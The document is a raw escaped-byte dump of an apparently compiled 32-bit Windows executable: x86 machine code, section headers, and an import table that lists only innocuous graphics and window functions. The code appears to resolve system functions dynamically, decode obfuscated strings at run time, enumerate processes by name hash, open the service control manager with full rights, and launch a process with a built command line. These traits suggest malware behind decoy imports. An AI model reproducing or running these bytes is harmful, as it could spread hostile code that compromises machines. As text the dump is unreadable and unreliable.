ff\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc_^[\x8b\xe5]\xc2\x10\x00\x8b\xffU\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15\xf8@@\x00j\x00j\x00j\x00j\x00j\x00h\x02\x10\x00\x00\xff\x12\x89E\xf8\x83}\xf8\x00u\x05\xe98\x01\x00\x00\x8b\x15\xf8@@\x00j\x00j\x00j\x00j\x00j\x00h\x02\x10\x04\x00\xff\x12\x89E\xf4\x83}\xf4\x00u\x05\xe9\x13\x01\x00\x00\x8b\x15\xf8@@\x00j8j\x08\xffu\xf8\xffR\x04\xa3\x18A@\x00\x83=\x18A@\x00\x00u\x05\xe9\xf0\x00\x00\x00j8h\x00@@\x00\xff5\x18A@\x00\xffu\xf4\xe83\xfe\xff\xff\x85\xc0u\x05\xe9\xd2\x00\x00\x00\x8b\x15\xf8@@\x00j8j\x00h\x00@@\x00\xffR,\x83\xc4\x0c\x8b\x15\xf8@@\x00j\x14j\x08\xffu\xf8\xffR\x04\xa3\x1cA@\x00\x83=\x1cA@\x00\x00u\x05\xe9\x9a\x00\x00\x00j\x14h8@@\x00\xff5\x1cA@\x00\xffu\xf4\xe8\xdd\xfd\xff\xff\x85\xc0u\x02\xeb\x7f\x8b\x15\xf8@@\x00j\x14j\x00h8@@\x00\xffR,\x83\xc4\x0c\x8b\x15\xf8@@\x00j\x08j\x08\xffu\xf8\xffR\x04\xa3 A@\x00\x83= A@\x00\x00u\x02\xebJj\x08hL@@\x00\xff5 A@\x00\xffu\xf4\xe8\x8d\xfd\xff\xff\x85\xc0u\x02\xeb/\x8b\x15\xf8@@\x00j\x08j\x00hL@@\x00\xffR,\x83\xc4\x0c\x8b\x15 A@\x00j\x00\xff\x12\x8b\x15 A@\x00\xffR\x04\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc\x8b\xe5]\xc3\x90U\x8b\xec3\xc0@@\x8d\x0c\xc5\x01\x00\x00\x00\x83}\x08\x00u\x04\xf7\xd8\xeb\x03\x8bE\x08\x8b\x15\xf8@@\x00j\x00j\x00QP\xffRT]\xc2\x04\x00\x8b\xffU\x8b\xec\x83\xc4\xf4SVW\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8 \x00\x00\x00\x8b\x15\x18A@\x00h\xabq\xb2\xea\xffR4\x89E\xfc\x83}\xfc\x00t/\x8b]\xfc\x8b\x15\xf8@@\x00\x8dE\xf4Pj@\x8dE\xf8P\x8dE\xfcPj\xff\xffRX\x85\xc0u\x0f\xb9 \x00\x00\x00\x8d5\x80\x1e@\x00\x8b\xfb\xf3\xa4_^[\x8b\xe5]\xc3U\x8b\xec\x8b\x15\x1cA@\x00\xffR\x08\x8b\x15\xf8@@\x00\xffu\x08j\x08\xffp\x18\xffR\x04]\xc2\x04\x00\x8d@\x00U\x8b\xec\x8b\x15\x1cA@\x00\xffR\x08\x8b\x15\xf8@@\x00\xffu\x0c\xffu\x08j\x08\xffp\x18\xffR\x08]\xc2\x08\x00U\x8b\xec\x8b\x15\x1cA@\x00\xffR\x08\x8b\x15\xf8@@\x00\xffu\x08j\x00\xffp\x18\xffR\x0c]\xc2\x04\x00\x8d@\x00U\x8b\xec\x83\xc4\xccS3\xdb\x8b\x15\xf8@@\x00\x8dE\xfcPj\x08j\xff\xffR\x1c\x85\xc0u8\x8b\x15\xf8@@\x00\x8dE\xf8Pj,\x8dE\xccPj\x01\xffu\xfc\xffR \x85\xc0u\x10\x8dE\xcc\x8b\x00\x83x\x08\x12u\x05\xbb\x01\x00\x00\x00\x8b\x15\xf8@@\x00\xffu\xfc\xffRD\x8b\xc3[\x8b\xe5]\xc3\x8d@\x00U\x8b\xec\x83\xc4\xf4\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15\x1cA@\x00\xffR\x04\x8b\xf0\x8b\x15\xf8@@\x00V\xffR0\x83\xc4\x04\x8b\xd8\x8d[\x01\x8b\x15\x18A@\x00\x8d\x04]\x06\x00\x00\x00P\xff\x12\x89E\xfc\x83}\xfc\x00u\x05\xe92\x01\x00\x00\x8b\x15\xfc@@\x00S\xffu\xfcV\xffR\x14\x8b\x15\x04A@\x00\xffu\xfc\xff\x12\x8b\x15\x18A@\x00\x8d\x04\x9d\x02\x00\x00\x00P\xff\x12\x89E\xf8\x83}\xf8\x00u\x05\xe9\xfb\x00\x00\x00\x8b}\xf8\xc7\x076`\xbc\xd6\xc7G\x049`\xbb\xd6\xc7G\x08\\`\xb3\xd6\xc7G\x0c9`\xd0\xd6\xc7G\x10_`\xdf\xd6\xc7G\x146`\xae\xd6\xc7G\x189`\xff\xd6\x8b\x15\x1cA@\x00j\x07W\xffR\x0c\x8b\x15\xf8@@\x00\xffu\xfc\xffu\xf8\xffR4\x83\xc4\x08\x8b\x15\xf8@@\x00\xffu\xf8\xffR0\x83\xc4\x04\x8d<G\xc7\x079`\xc1\xd6\xc7G\x04\'`\xdf\xd6\xc7G\x08W`\xaa\xd6\xc7G\x0cU`\xff\xd6\x8b\x15\x1cA@\x00j\x04W\xffR\x0c\x8b\x15\x18A@\x00h\x04\x01\x00\x00\xff\x12\x89E\xf4\x83}\xf4\x00u\x02\xebY\x8b}\xf4\x8b\x15\x1cA@\x00W\xff\x12\x8b\x15\xf8@@\x00W\xffR0\x83\xc4\x04\x8d<G\xc7\x07E`\x9c\xd6\xc7G\x04t`\x9b\xd6\xc7G\x087`\x9a\xd6\xc7G\x0ca`\x9a\xd6\x8b\x15\x1cA@\x00j\x04W\xffR\x0c\x8b\x15\x00A@\x00j\x00j\x00\xffu\xf8\xffu\xf4j\x00j\x00\xff\x12\x83}\xf8\x00t\x0c\x8b\x15\x18A@\x00\xffu\xf8\xffR\x08\x83}\xf4\x00t\x0c\x8b\x15\x18A@\x00\xffu\xf4\xffR\x08\x83}\xfc\x00t\x0c\x8b\x15\x18A@\x00\xffu\xfc\xffR\x08\x8b\xe5]\xc3\x8b\xffU\x8b\xec\x83\xc4\xf8S\xc7E\xfc\x00\x00\x00\x00\x8b\x15\x14A@\x00\x8dE\xf8Pj\x00j\x00j\x00j\x00j\x00\xff\x12\x85\xc0u&\x8b]\xf8\x8b\x15\xf8@@\x00\xffs\x1c\xffu\x08\xffR8\x83\xc4\x08\x8b\x15\x14A@\x00S\xffR\x04\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc[\x8b\xe5]\xc2\x04\x00U\x8b\xec\x83\xc4\xf4SV\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8\x00\x04\x00\x00\x8b\x15\x18A@\x00\xffu\xf8\xff\x12\x89E\xf4\x8b\x15\xf8@@\x00\x8dE\xf8P\xffu\xf8\xffu\xf4j\x05\xffR$\x85\xc0u\x04\xeb8\xeb4=\x04\x00\x00\xc0u\x16\x8b\x15\x18A@\x00\xffu\xf8\xffu\xf4\xffR\x04\x89E\xf4\xeb\xc8\xeb\x17\x8b\x15\x18A@\x00\xffu\xf4\xffR\x08\x8bE\xfc^[\x8b\xe5]\xc2\x04\x00\xeb\xad\x8b]\xf4\x8b3\x83{<\x00t\x1b\x8b\x15\x1cA@\x00j\x00\xffs<\xffR\x10;E\x08u\x08\x8bCD\x89E\xfc\xeb\x07\x8d\x1c3\x85\xf6u\xd6\x8b\x15\x18A@\x00\xffu\xf4\xffR\x08\x8bE\xfc^[\x8b\xe5]\xc2\x04\x00\x90U\x8b\xec\x83\xc4\xbc\x8b\xc0\x89E\xfc\x89E\xf8\x89E\xf0\x89E\xe8\x89E\xec\x8b\x15\xf8@@\x00\x8dE\xf8Pj\x00j\x01j\x14\xffRH\xb8\x9eS\x16\xa05\xe6\x9f\x00)\x8b\x15\x18A@\x00P\xffR \x85\xc0u\x1d\xb8\x99\xac\'\xdd5\xe6\x9f\x00)\x8b\x15\x18A@\x00P\xffR \x85\xc0u\x05\xe9\xd6\x00\x00\x00\x89E\xe0\xc7E\xe4\x00\x00\x00\x00\x8dM\xc8\xc7\x01\x18\x00\x00\x00\xc7A\x04\x00\x00\x00\x00\xc7A\x08\x00\x00\x00\x00\xc7A\x0c\x00\x00\x00\x00\xc7A\x10\x00\x00\x00\x00\xc7A\x14\x00\x00\x00\x00\x8b\x15\xf8@@\x00\x8dE\xe0P\x8dE\xc8Pj@\x8dE\xf0P\xffRL\x85\xc0\x0f\x85\x81\x00\x00\x00d\xff5 \x00\x00\x00\x8fE\xe0\xc7E\xe4\x00\x00\x00\x00\x8dM\xc8\xc7\x01\x18\x00\x00\x00\xc7A\x04\x00\x00\x00\x00\xc7A\x08\x00\x00\x00\x00\xc7A\x0c\x00\x00\x00\x00\xc7A\x10\x00\x00\x00\x00\xc7A\x14\x00\x00\x00\x00\x8b\x15\xf8@@\x00\x8dE\xe0P\x8dE\xc8Pj@\x8dE\xecP\xffRL\x85\xc0u)\x8b\x15\xf8@@\x00j\x03j\x00j\x00\x8dE\xe8P\xffu\xf0\xffu\x08\xffu\xec\xffRP\x85\xc0t\x02\xeb\x07\xc7E\xfc\x01\x00\x00\x00\x83}\xec\x00t\x0c\x8b\x15\xf8@@\x00\xffu\xec\xffRD\x83}\xf0\x00t\x0c\x8b\x15\xf8@@\x00\xffu\xf0\xffRD\x8bE\xfc\x8b\xe5]\xc2\x04\x00\x8b\xffU\x8b\xec\x81\xec\xe0\x01\x00\x00S\x8dE\x88\xc7\x00<`\x8c\xd6\xc7@\x04F`\xb6\xd6\xc7@\x08I`\xbc\xd6\xc7@\x0c=`\xff\xd6\x8b\x15\x1cA@\x00j\x04P\xffR\x0c\x8b\x15\xf8@@\x00\xffu\x08\x8dE\x88P\x8d\x85 \xfe\xff\xffP\xffR<\x83\xc4\x0c\x8b\x15\x10A@\x00\x8dE\x98P\xff\x12\x8b\x15\xf8@@\x00\x8d\x85 \xfe\xff\xffP\xffR0\x83\xc4\x04\x8b\x15\x10A@\x00\x8d\x04E\x00\x00\x00\x00P\x8d\x85 \xfe\xff\xffP\x8dE\x98P\xffR\x04\x8b\x15\x10A@\x00\x8dE\x98P\xffR\x08\x8d]\xf0\x8d\x85 \xff\xff\xff\xc7\x00b`\xda\xd6\xc7@\x04)`\xc7\xd6\xc7@\x08A`\xd2\xd6\xc7@\x0c<`\xcf\xd6\xc7@\x10-`\xa7\xd6\xc7@\x144`\xda\xd6\xc7@\x18)`\xcb\xd6\xc7@\x1cA`\xd2\xd6\xc7@ <`\xcf\xd6\xc7@$+`\xa7\xd6\xc7@(<`\xcf\xd6\xc7@,+`\xa7\xd6\xc7@04`\xda\xd6\xc7@4)`\xcd\xd6\xc7@8A`\xda\xd6\xc7@<)`\xcd\xd6\xc7@@A`\xda\xd6\xc7@D)`\xcd\xd6\xc7@HA`\xda\xd6\xc7@L)`\xcd\xd6\xc7@PA`\xda\xd6\xc7@T)`\xcd\xd6\xc7@XA`\xda\xd6\xc7@\\)`\xcd\xd6\xc7@`A`\x82\xd6\xc7@d\x19`\xff\xd6\x8b\x15\x1cA@\x00j\x1aP\xffR\x0c\x8b\x15\xf8@@\x00\x0f\xb6C\x0fP\x0f\xb6C\x0eP\x0f\xb6C\rP\x0f\xb6C\x0cP\x0f\xb6C\x0bP\x0f\xb6C\nP\x0f\xb6C\tP\x0f\xb6C\x08Pfj\x00f\xffs\x06fj\x00f\xffs\x04\xff3\x8d\x85 \xff\xff\xffP\xffu\x0c\xffR<\x83\xc44[\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xec\x81\xec(\x02\x00\x00\xc7E\xfc\x00\x00\x00\x00\xc7E\xf8 \x00\x00\x00\x8b\x15\xfc@@\x00\x8dE\xf8P\x8d\x85h\xff\xff\xffP\xffR\x18\x85\xc0u\x05\xe9^\x01\x00\x00\x8dE\xc0\xc7\x00E`\xa3\xd6\xc7@\x04<`\x8c\xd6\xc7@\x087`\xda\xd6\xc7@\x0cj`\xa3\xd6\xc7@\x10\x19`\xff\xd6\x8b\x15\x1cA@\x00j\x05P\xffR\x0c\x8b\x15\xf8@@\x00\xffu\x08\x8d\x85h\xff\xff\xffP\x8dE\xc0P\x8d\x85\x98\xfe\xff\xffP\xffR<\x83\xc4\x10\x8b\x15\xf8@@\x00\x8d\x85\x98\xfe\xff\xffP\xffR@\x83\xc4\x04\x8b\x15\x18A@\x00\x8d\x85\x18\xff\xff\xffP\x8d\x85\x98\xfe\xff\xffP\xffR,\x8dE\xa8\xc7\x00E`\xa3\xd6\xc7@\x047`\xa3\xd6\xc7@\x08i`\x96\xd6\xc7@\x0ci`\x9a\xd6\xc7@\x10E`\xda\xd6\xc7@\x14j`\xff\xd6\x8b\x15\x1cA@\x00j\x06P\xffR\x0c\x8b\x15\xf8@@\x00\x8d\x85\x18\xff\xff\xffP\x8dE\xa8P\x8d\x85\xd8\xfd\xff\xffP\xffR<\x83\xc4\x0c\xc6E\xe0\x01\xc6E\xe1\x00f\xc7E\xe2\x04\x00\xc7E\xe4\x00\x00\x00\x00\xc7E\xe8\x00\x00\x00\x00\xc7E\xec\x00\x00\x00\x00\xc7E\xf0\x00\x00\x00\x00\xc7E\xd4\x0c\x00\x00\x00\x8dE\xe0\x89E\xd8\xc7E\xdc\x01\x00\x00\x00\x8b\x15\xfc@@\x00\x8dE\xd4Pj\xffj\x00j\x00h\xff\x00\x00\x00j\x00j\x03\x8d\x85\xd8\xfd\xff\xffP\xffR\x1c\x89E\xf4\x83}\xf4\xffu\x02\xeb d\x81=4\x00\x00\x00\xb7\x00\x00\x00t\x0c\x8b\x15\x18A@\x00\xffu\xf4\xffR0\xc7E\xfc\x01\x00\x00\x00\x8bE\xfc\x8b\xe5]\xc2\x04\x00\x90U\x8b\xec\x81\xec\x90\x06\x00\x00SVW\xb9\xd8\x02\xfe\x7f\x8b\x15\x08A@\x00\x8dE\xfcP\xff1\xff\x12\x85\xc0\x0f\x84\x9b\x01\x00\x00\x8b\x15\x0cA@\x00j\x01\xffu\xfc\x8dE\xf8P\xff\x12\x85\xc0\x0f\x84v\x01\x00\x00\x8dM\x9c\xc7\x01M`\xb2\xd6\xc7A\x04I`\xff\xd6\x8b\x15\x1cA@\x00j\x02Q\xffR\x0cf\xc7E\x94\x06\x00f\xc7E\x96\x08\x00\x89M\x98f\xc7E\x8c\x00\x00f\xc7E\x8e\n\x02\x8d\x85\x82\xfd\xff\xff\x89E\x90\x8b\x15\xf8@@\x00\x8dE\x8cP\x8dE\x94P\xffu\xf8\xffR(\x85\xc0\x0f\x85\x0e\x01\x00\x00\x8b\x15\xf8@@\x00\x8d\x85\x82\xfd\xff\xffP\x8d\x85z\xfb\xff\xffP\xffR8\x83\xc4\x08\x8b\x15\x1cA@\x00\xffR\x04\x8b\xd8\x8b\x15\x04A@\x00S\xffR\x08\x8b\x15\xf8@@\x00\x8d@\xfeP\x8d\x85z\xfb\xff\xffP\xffR4\x83\xc4\x08\x8b\x15\xfc@@\x00j\x00\x8d\x85z\xfb\xff\xffPS\xffR\x10\x85\xc0\x0f\x84\xad\x00\x00\x00\x8d\xb5z\xfb\xff\xff\x8d\xbdr\xf9\xff\xfff\xb8"\x00f\xabf\xadf\x85\xc0t\x0bf\xb8"\x00f\xabf3\xc0f\xabf\xabf\x85\xc0u\xe7\x8b\x15\xf8@@\x00j\x10j\x00\x8dE\xa4P\xffR,\x83\xc4\x0c\x8b\x15\xf8@@\x00jDj\x00\x8dE\xb4P\xffR,\x83\xc4\x0c\xc7E\xb4D\x00\x00\x00\x8b\x15\x10A@\x00\x8dE\xa4P\x8dE\xb4P\x8d\x85\x82\xfd\xff\xffP\xffu\xf8h \x04\x00\x00j\x00j\x00j\x00\x8d\x85r\xf9\xff\xffP\x8d\x85z\xfb\xff\xffP\xffu\xfc\xffR(\x85\xc0t\x18\x8b\x15\xf8@@\x00\xffu\xa4\xffRD\x8b\x15\xf8@@\x00\xffu\xa8\xffRD\x8b\x15\x0cA@\x00\xffu\xf8\xffR\x04\x8b\x15\xf8@@\x00\xffu\xfc\xffRD_^[\x8b\xe5]\xc3\x8d@\x00U\x8b\xec]\xc2\x04\x00\x90U\x8b\xec\x81\xec(\x02\x00\x00\x8b\x15\x10A@\x00h\x0c)@\x00\xff5$A@\x00\xffR$\x89E\xfc\x83}\xfc\x00tm\x8b\x15\xf8@@\x00j\x1cj\x00\x8dE\xe0P\xffR,\x83\xc4\x0c\xc7E\xe0\x10\x00\x00\x00\xc7E\xe4\x04\x00\x00\x00\x8b\x15\x10A@\x00\x8dE\xe0P\xffu\xfc\xffR\x1c\x85\xc0t7\x8b\x15\x18A@\x00\x8d\x85\xd8\xfd\xff\xffP\xffR$\x8b\x15\x18A@\x00\x8d\x85\xd8\xfd\xff\xffP\xffR(\xc7E\xe4\x01\x00\x00\x00\x8b\x15\x10A@\x00\x8dE\xe0P\xffu\xfc\xffR\x1c\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xec\x83\xc4\xdc\x8b\x15\x1cA@\x00\xffR\x04\x8b\x15\x04A@\x00P\xffR\x08\x8b\x15\xf8@@\x00Ph,A@\x00\xffR8\x83\xc4\x08\x8b\x15\x04A@\x00h,A@\x00\xffR\x04\x8d\x05,A@\x00\xa3$A@\x00\x8d\x05\x14)@\x00\xa3(A@\x00\x8b\x15\x10A@\x00h$A@\x00\xffR\x18\x8b\x15\x18A@\x00\xffR\x10\x8b\x15\x10A@\x00h?\x00\x0f\x00j\x00j\x00\xffR\x14\x89E\xfc\x83}\xfc\x00ti\x8b\x15\x10A@\x00h?\x00\x0f\x00h,A@\x00\xffu\xfc\xffR\x10\x89E\xf8\x83}\xf8\x00t>\x8b\x15\xf8@@\x00j\x1cj\x00\x8dE\xdcP\xffR,\x83\xc4\x0c\x8b\x15\x10A@\x00\x8dE\xdcPj\x01\xffu\xf8\xffR\x0c\x8b\x15\x10A@\x00\xffu\xf8\xffR,\x8b\x15\x10A@\x00\xffu\xf8\xffR \x8b\x15\x10A@\x00\xffu\xfc\xffR \x8b\xe5]\xc3\x8b\xff\x8b\x15\x18A@\x00\xffR\x18\x85\xc0t\x14\x8b\x15\x18A@\x00\xffR\x14\x8b\x15\x18A@\x00\xffR\x0c\xeb#\x8b\x15\x0cA@\x00j\x01j\x01\xffR\x08\x8b\x15\x0cA@\x00j\x01j\x00\xffR\x08\x8b\x15\x18A@\x00\xffR\x0c\xc3\xe8\x0c\x01\x00\x00\xe8\xfb\x00\x00\x00\xe8\xfc\x00\x00\x00\xe8\xfd\x00\x00\x00\xe8\xec\x00\x00\x00\xe8\xf9\x00\x00\x00\xe8\xdc\x00\x00\x00\xe8\xd7\x00\x00\x00\xe8\xa2\x00\x00\x00\xe8\xcd\x00\x00\x00\xe8\xc2\x00\x00\x00\xe8\x9f\x00\x00\x00\xe8\x88\x00\x00\x00\xe8\x8f\x00\x00\x00\xe8\xb4\x00\x00\x00\xe8y\x00\x00\x00\xe8\x92\x00\x00\x00\xe8\x99\x00\x00\x00\xe8|\x00\x00\x00\xe8}\x00\x00\x00\xe8\x84\x00\x00\x00\xe8I\x00\x00\x00\xe8P\x00\x00\x00\xe89\x00\x00\x00\xe8@\x00\x00\x00\xe85\x00\x00\x00\x90U\x8b\xec\x8bE\x0c\x83\xf8\x01u\n\xe8\x9c\xef\xff\xff\xe8S\xf1\xff\xff]\xc2\x0c\x00\x8b\x15\x18A@\x00\xffR\x1c\x8b\x15\xfc@@\x00j\x00\xffR\x0c\xcc\xff%L0@\x00\xff%H0@\x00\xff%D0@\x00\xff%@0@\x00\xff%\x140@\x00\xff%\x180@\x00\xff%\x1c0@\x00\xff% 0@\x00\xff%$0@\x00\xff%(0@\x00\xff%,0@\x00\xff%00@\x00\xff%40@\x00\xff%80@\x00\xff%\x0c0@\x00\xff%\x080@\x00\xff%\x040@\x00\xff%\x000@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x843\x00\x00t3\x00\x00b3\x00\x00T3\x00\x00\x00\x00\x00\x00\x942\x00\x00\xaa2\x00\x00\xb82\x00\x00\xca2\x00\x00\xdc2\x00\x00\xee2\x00\x00\x003\x00\x00\x123\x00\x00$3\x00\x00:3\x00\x00\x00\x00\x00\x00~2\x00\x00r2\x00\x00b2\x00\x00P2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa81@\x00\xac1@\x00T@@\x00x0@\x00\x00\x00\x00\x00\x00\x000\x00h+@\x00\x00\x00\x00\x00\x00\x00\x00\x00E]Pb\x00\x00\x00\x00\r\x00\x00\x00\x0c\x01\x00\x00\x9c0\x00\x00\x9c"\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xae\x1b\x00\x00.text\x00\x00\x00\xae+\x00\x00T\x00\x00\x00.text$mn\x00\x00\x00\x00\x000\x00\x00`\x00\x00\x00.idata$5\x00\x00\x00\x00`0\x00\x00<\x00\x00\x00.rdata\x00\x00\x9c0\x00\x00\x0c\x01\x00\x00.rdata$zzzdbg\x00\x00\x00\xa81\x00\x00\x04\x00\x00\x00.tls\x00\x00\x00\x00\xac1\x00\x00<\x00\x00\x00.idata$2\x00\x00\x00\x00\xe81\x00\x00\x14\x00\x00\x00.idata$3\x00\x00\x00\x00\xfc1\x00\x00T\x00\x00\x00.idata$4\x00\x00\x00\x00P2\x00\x00T\x01\x00\x00.idata$6\x00\x00\x00\x00\x00@\x00\x00`\x00\x00\x00.data\x00\x00\x00`@\x00\x00\x1c\x01\x00\x00.bss\x00\x00\x00\x00\x00P\x00\x00`\x00\x00\x00.rsrc$01\x00\x00\x00\x00`P\x00\x00\x80\x01\x00\x00.rsrc$02\x00\x00\x00\x00\xff\xff\xff\xff<2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a2\x00\x00@0\x00\x00\x102\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H3\x00\x00\x140\x00\x00\xfc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x963\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x843\x00\x00t3\x00\x00b3\x00\x00T3\x00\x00\x00\x00\x00\x00\x942\x00\x00\xaa2\x00\x00\xb82\x00\x00\xca2\x00\x00\xdc2\x00\x00\xee2\x00\x00\x003\x00\x00\x123\x00\x00$3\x00\x00:3\x00\x00\x00\x00\x00\x00~2\x00\x00r2\x00\x00b2\x00\x00P2\x00\x00\x00\x00\x00\x00(\x00CreateDIBitmap\x00\x00\xaa\x00GetDeviceCaps\x00N\x01SetPixel\x00\x00k\x01TextOutW\x00\x00gdi32.dll\x00c\x00CreateDialogParamW\x00\x00j\x00CreateMenu\x00\x00n\x00CreateWindowExW\x00\x9c\x00DefWindowProcW\x00\x00\xac\x00DialogBoxParamW\x00*\x01GetDlgItemTextW\x00<\x01GetKeyNameTextW\x00\xa3\x01GetWindowTextW\x00\x00\xce\x01IsDlgButtonChecked\x00\x00\xef\x01LoadImageW\x00\x00USER32.dll\x00\x00\x9e\x01FreeLibrary\x00\x14\x02GetDateFormatW\x00\x00\xf6\x02GetTickCount\x00\x00\xad\x03LoadLibraryExA\x00\x00KERNEL32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x1e@\x00\x08\x1f@\x00,\x1f@\x00\xb0\x1f@\x00@\'@\x00\xb0)@\x00P\x1f@\x00\xa0*@\x00\xcc!@\x00t!@\x00\xa4%@\x00\xec#@\x00\x88"@\x00\x9c\x11@\x00<\x11@\x000\x11@\x00\x00\x10@\x00\x10\x10@\x00\xec\x10@\x00P\x1e@\x00\x80\x1e@\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x